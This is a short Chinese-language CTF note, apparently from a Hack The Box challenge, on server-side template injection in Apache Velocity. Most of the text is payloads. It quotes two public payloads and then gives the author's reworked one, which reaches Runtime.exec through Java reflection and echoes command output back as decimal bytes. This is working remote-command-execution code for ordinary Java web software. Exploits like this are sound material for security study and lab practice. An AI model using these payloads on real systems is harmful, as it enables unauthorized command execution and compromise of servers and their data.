這兩天做 HTB 上的一個題 出了一道對 Velocity 的 SSTI,嘗試網上的 payload 以後發現都有不同的缺點或者基本不可用 遂記錄一下自己改出的一個能回显的 payload
題目給出了源碼 很明顯帶有 ssti
網上的 payload1:
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
這個 payload 是用的反射 get 的 runtime 但是沒有回显 在這個靶機不出網的環境下不好用
payload2:
這個是 hacktrick 給出的 理論上是帶有回显的
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
其中的 $class 和 inspect 都局限很大 在這個題中完全無法 rce
基於 payload1 通過反射達到帶有回显的效果:
#set($f="e".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc"))
#set($a=$f.waitFor())
#set($out=$f.getInputStream())
#set($str="e".getClass().forName("java.lang.String"))
$str.newInstance().valueOf($out.read())
$str.newInstance().valueOf($out.read())
用這個 payload 打出的回显是 decimal 給出的 自己過一遍 cyberchef 或者再寫一個循環轉 chr 的語句都可以